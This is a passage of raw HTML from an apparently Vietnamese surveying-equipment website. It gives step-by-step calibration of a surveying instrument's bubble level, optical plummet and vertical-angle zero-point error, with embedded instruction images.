A</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Kiểm tra lại và hiệu chỉnh cho đến khi đạt kết quả</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinh bot thuy dai" class="wp-image-5348 size-full aligncenter" height="346" sizes="(max-width: 488px) 100vw, 488px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai-300x213.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png 488w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="488" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="2bot-thuy-tron" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Bọt thủy tròn</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trước khi tiến hành cân bằng bọt thủy tròn, kiểm tra xem có sự sai lệch của bọt khí khỏi vòng chuẩn tâm trên bọt thủy. Trường hợp không có sự sai lệch, không cần hiệu chỉnh. Nếu có sai lệch, lấy tăm chỉnh dùng tay hiệu chỉnh ba vít hiệu chỉnh đưa bọt khí về tâm.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinhbotthuytron" class="wp-image-5349 size-full aligncenter" height="344" sizes="(max-width: 493px) 100vw, 493px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1-300x209.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png 493w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="493" /></a></span></span></span></p> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="3kinh-doi-tam" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">3.Kính dọi tâm</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt thẳng hàng trục thấu kính theo phương dây dọi với trục đứng cảu thiết bị)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đăt thiết bị lên chân ( không cần cân bằng)</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt tấm vạch dấu “X” xuống đất bên dưới thiết bị</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhìn vào kính dọi tâm, chỉnh vít cân máy đưa ảnh dấu “X” vào tâm vòng chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp dấu “X” nằm ở tâm lưới chỉ, không cần hiệu chỉnh. Trường hợp sai lệch, tiến hành hiệu chỉnh theo chỉ dẫn dưới đây.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><img alt="hieuchinhkinhdoitam" class="wp-image-5350 size-full aligncenter" height="394" sizes="(max-width: 994px) 100vw, 994px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam-300x119.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png 994w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="994" /></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Dùng tuốc no vít đã cung cấp, quay vít chỉnh đưa dấu “X” đi nửa đoạn thẳng nối tâm với lưới chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Lặp lại các bước kiểm tra</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieu chinh doi tam" class="wp-image-5351 size-full aligncenter" height="490" sizes="(max-width: 346px) 100vw, 346px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam-212x300.png 212w, http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png 346w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="346" /></a></span></span></span></p> <br /> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="4-sai-so-diem-0-ban-do-dung" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">4. Sai số điểm 0 bàn độ đứng</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên và cân máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để ống kính ngắm về bên trái, chọn mục tiêu P tùy ý theo bàn độ ngang trong phạm vi 10 độ, và đọc giá trị góc đứng…VR</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ngược ống kính về phía bên phải và đọc giá trị khác góc đứng…VL của mục tiêu P</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi VR+VL=360 độ/400G khi đặt thiên đỉnh 0 độ, hoặc khi VR+VL=180 độ/200G ( Hoặc 540 độ/600G) khi đặt ngang 0 độ, không cần hiệu chỉnh. Nếu sai khác thì phải tiến hành hiệu chỉnh theo hướng dẫn sau:</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> Sai số ngắm chuẩn phương đứng cho các góc nói trên (360 độ, 180 độ và 540 độ hoặc 400G, 200G và 600G), và liên quan tới hằng số trục đứng. Hằng số trục đứng là phần bù kép cho sai số điểm không. Chú ý rằng sai số du xích đối xứng không có quan hệ với hằng số trục đứng. Do đó, phải lấy giá trị đọc một trong hai phương thiên đỉnh 0 hoặc phương ngang 0 độ, và tiến hành kiểm tra sai số.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trước khi đo, xem lại phương góc đứng 0 độ ở dạng cài đặt tham số ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Góc đứng hiển thị như sau thiên đỉnh 0, bất chấp cài đặt ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hai kiểu sai số cố định trục đứng để đặt đóng hay tắt bật tự động bù trục đứng, và ấn định trong các mục cài đặt ban đầu cho máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù sai số điểm 0 là chức năng không tính đến bật cài đặt tự động bù trục đứng</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trong khi ấn phím ký hiệu bóng đèn, bật công tắc nguồn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Màn hình hiển thị sáng lên và giá trị hằng số trục đứng hiện thời được hiển thị.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5353 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"> Nghiêng ống kính qua phương ngang ở vị trí mặt trái để đọc giá trị góc đứng</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Góc đứng “VR” xuất hiện ở dòng trên màn hình tinh thể lỏng.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5354 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi ở vị trí mặt trái, ngắm mục tiêu P tùy ý, nằm trong phạm vi 10 độ theo phương ngang.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -VR mang ra giá trị góc đứng của mục tiêu P</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5355 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png 482w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VR vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Giá trị VR lưu giữ hiển thị ở dòng phía bên mà hình tinh thể lỏng, đồng thời VL hiển thị ở dòng dưới.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5356 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ống kính về vị trí mặt phải và ngắm lại mục tiêu P.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Mục tiêu P có góc đứng hiển thị ở dòng dưới</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5357 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VL vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Hằng số truc đứng hiển thị một giây trên cả 2 góc đứng mặt phải và trái là đưa vào</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5358 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png 483w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù góc đứng được tính bằng một nửa hằng số trục đứng và ghi vào bộ nhớ.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5359 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png 484w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím khác bên cạnh phím (HOLD) là bỏ qua tiến hành hoạt động này</span></span></span></li> <li style="box-sizing: 